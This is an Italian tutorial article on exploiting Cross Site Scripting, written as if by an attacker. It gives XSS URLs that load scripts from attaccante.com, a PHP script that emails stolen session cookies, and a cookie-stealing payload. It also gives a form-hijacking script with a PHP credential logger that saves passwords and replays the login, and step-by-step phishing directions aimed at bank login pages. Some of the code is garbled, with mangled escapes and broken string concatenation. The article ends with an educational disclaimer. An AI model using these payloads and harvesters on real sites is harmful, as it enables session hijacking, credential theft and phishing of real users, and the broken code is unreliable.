Abbiamo visto nel precedente articolo cosa sono e come funzionano gli attacchi Cross Site Scripting (XSS) e perché sono così diffusi. Adesso cercheremo di scoprire anche perché sono pericolosi e per farlo dovremo calarci nei panni di un attaccante per vedere da vicino alcuni attacchi più o meno complessi che si basano su questa vulnerabilità.
Preparare gli ingredienti
Come abbiamo visto le XSS sono sintetizzabili nella iniezione di codice malevolo in una applicazione web:
http://vulnerabile.com/pagina.php?id=12'"><script>window.alert('XSS!')</script>
Finché si tratta di iniettare uno script minuscolo come questo non avremo molti problemi, ma se siamo intenzionati ad effettuare attacchi complessi avremo bisogno di codice complesso e quindi ...più lungo:
http://vulnerabile.com/pagina.php?id=12'"><script>if { ... [2000 caratteri dopo ] ...</script>
Iniettare una cosa del genere è impensabile: i web server hanno limitazioni sulla lunghezza delle URL (o dei parametri POST), una URL così anomala potrebbe far scattare l'allarme di un Web Application Firewall o addirittura un sys admin potrebbe notare l'anomalia ad occhio leggendo i log!
Quello di cui abbiamo bisogno è uno spazio esterno di appoggio in cui ospitare i nostri script, come ad esempio un server compromesso o uno spazio web gratuito:
http://vulnerabile.com/pagina.php?id='"><script src="http://attaccante.com/dolore.js"></script>
Hello World
In qualità di neo attaccanti vogliamo iniziare a scaldarci con qualcosa di abbastanza semplice e, come abbiamo già accennato nello scorso articolo, potremmo iniziare rubando i cookie.
Per prima cosa ci scriviamo uno script (niente di meno che biscottobot.php) di appoggio pronto a ricevere i cookie delle nostre vittime e a inviarceli per email:
<?php
# biscottobot.php
if( ($_GET['cookie'] == "") || ( $_GET['location'] == ""))
{
// Niente
}
else
{
// Ecco il nostro cookie con la location
$cookie = $_GET['cookie'];
$location = $_GET['location'];
// Costruiamo la mail
$msg = "Cookie: " . $cookie . "rn Location: " . $location;
$name = "Biscottobot";
$email_from = "biscottobot@biscottolandia.com";
$email_to = "attaccante@html.it";
$subject = "Gnam! " . $location;
$header = "From: ". $name . " <" .$email . ">rn";
// E spediamo
mail($email_to, $subject, $msg, $header);
}
?>
Adesso costruiamo il payload che richiama il nostro script e lo iniettiamo:
http://vulnerabile.com/pagina.php?id='"><script>document.location="http://attaccante.com/biscottobot.php?cookie="+document.cookiegnlocation="+document.location;</script>
A questo punto basta distribuire questa URL e aspettare che qualche malcapitato ci clicchi sopra. Ad ogni clic il paylod viene eseguito e il cookie e la location attuale vengono passate al nostro script che, diligentemente, ci notificherà con una mail.
Ci basterà quindi visitare vulnerabile.com, impostare come nostro uno dei cookie rubati e aggiornare la pagina per essere riconosciuti dall'applicazione come la vittima.
In pratica + la "Hello World!" delle XSS!
Nota: questo semplice attacco è stato molto popolare ma adesso, in generale, non è più così semplice rubare la sessione di autenticazioni degli utenti perché difficilmente le applicazioni web moderne si basano solamente sui cookie per effettuare autenticazioni. Inoltre, sia a livello di browser sia di cookie, esistono ulteriori meccanismi di protezione.
Furto di credenziali
Facciamo finta che vulnerabile.com abbia una pagina in cui gli utenti debbano inserire le proprie credenziali (username e password, dati personali, etc) e che sia vulnerabile al cross site scripting. Poniamo anche che ci siano dei meccanismi di sicurezza che non ci permettono di rubare la sessione di autenticazione tramite il furto del cookie.
Diciamo che abbiamo di fronte un form come questo:
...
<body>
...
<form name="Login" action="login.php" method="POST">
<input type="text" name="username" size="35" maxlength="40" value="">
<input type="password" name="password" size="35" maxlength="40" value="">
<input type="submit" value="Invia">
<input type="reset" value="Annulla">
</form>
...
</body>
...
Come rubare username e password? Dirottiamo il form!
Scriviamo uno script, il nostro payload, che vada a modificare l'attributo action del form sostituendolo con una pagina controllata da noi:
// Per ogni form nella pagina...
for ( i=0; i< document.forms.length; i++)
{
// Sostituisci il campo action con questo:
document.forms[i].action = "http://attaccante.com/dirottatore.php";
}
E salviamolo in http://attaccante.com/dirottatore.js.
E in dirottatore.php invece scriviamo questo:
<?php
// Creiamo un file in cui salvare le credenziali
$f = fopen("credenziali.txt", "a");
// Creiamo lo stesso form che abbiamo trovato in vulnerabile.com
// Notare il campo action
echo "<form name='falsologin' id='falsologin' action='http://vulnerabile.com/login.php' method='POST'>;
// Per ogni richiesta ricevuta si crea e si popolano i
// rispettivi campi input
foreach ($_POST as $v => $value) {
echo "<input type='hidden' name='". $v . "' value = "' . $value . "'>";
// Salviamo le credenziali nel nostro file
fwrite($f, "" .$v. " | " .$value. "rn");
}
// Chiudiamo il form e tramite javascript effettuiamo il submit
echo "</form>";
echo "<script>document.falsologin.submit()</script>";
fclose($f);
?>
A questo punto costruiamo la URL con il payload:
http://vulnerabile.com/pagina.php?id='"><script src="http://attaccante.com/dirottatore.js"></script>
Ogni volta che una vittima clicca sul precedente link si troverà di fronte alla normale pagina di login su vulnerabile.com con la differenza che, una volta effettuato il submit del form, la richiesta viene inoltrata a dirottatore.php che salva i dati ricevuti e inoltra nuovamente la richiesta a http://vulnerabile.com/login.php.
In modo trasparente per l'utente ci siamo interposti nelle comunicazioni tra lui e il server con la pagina vulnerabile. In gergo questo tipo di attacco si chiama Man in the Middle.
Phishing
Lo scenario precendente è anche il primo passo per effettuare il phishing:
- Si trova una pagina di login vulnerabile, ad esempio di una banca
- Si inietta un payload che dirotti le richieste di login verso uno script remoto controllato da un phisher
- Il phiser spamma il link con il payload via mail, social network, messaggi di chat per far abboccare (i.e. cliccare) le vittime.
- Lo script remoto riceve quindi le credenziali delle vittime, le salva, e re-inoltra le richieste alla pagina di login
- L'utente viene loggato normalmente e non si accorgere di essere stato derubato delle credenziali
Questo descritto è un'attacco molto semplice ma ancora dotato di una certa efficacia.
Vale la pena notare che per fare phising non è strettamente necessario utilizzare una XSS perché esistono molti modi diversi per ottenere lo stesso risultato: quello che è importante capire è che il Cross-Site Scripting non è mai fine a se stesso bensì è un mezzo che permette di portare a termini attacchi complessi e con scopi molto diversi.
Da qui in poi gli unici limiti sono il cielo e la creatività dell'attaccante.
In termini pratici lo spettro delle azioni che è possibile compiere sfruttando il cross-site scripting è limitato a tutto quello che è possibile fare con javascript, html e css: ovvero molte cose!
Ad esempio:
- Dirottare le richieste delle vittime, cioè fare Cross Site Request Forgery
- Alterare le pagine web vulnerabili iniettando elementi (iframes!), sostituendo links, mascherando contenuti...
- Utilizzare la potenza di JavaScript per violare eventuali bug nel browser ed entrare "letteralmente" nei computer delle vittime per, ad esempio, installare malware!
Per rendere le cose ancora più semplici esistono diversi tool che permettono di automatizzare molti degli attacchi come, ad esempio, XSS Shell e BeEF.
Il primo è una specie di reverse shell/backdoor in cui tramite XSS si instaura una connessione diretta con la vittima in modo tale che sia possibile interagire in tempo reale con essa inviando comandi e istruzioni
BeEF (Browser Exploitation Framework) invece è un framework ideato per massimizzare le potenzialità offensive exploitando direttamente vulnerabilità note nel broswer delle vittime per prenderne letteralmente possesso. Essendo un framework è facilmente espandibile e personalizzabile.
Concludo con un doveroso disclaimer: gli esempi visti e i tool indicati sono da considerarsi segnalazioni a scopo educativo. L'applicazione delle tecniche presentato contro applicazioni web di cui non si è responsabili è illegale.
Se volete approfondire senza arrecare danni il primo passo da fare è quello di costruirsi un piccolo laboratorio di sicurezza privato: per iniziare una macchina virtuale con un web server è tutto quello di cui dovreste aver bisogno!
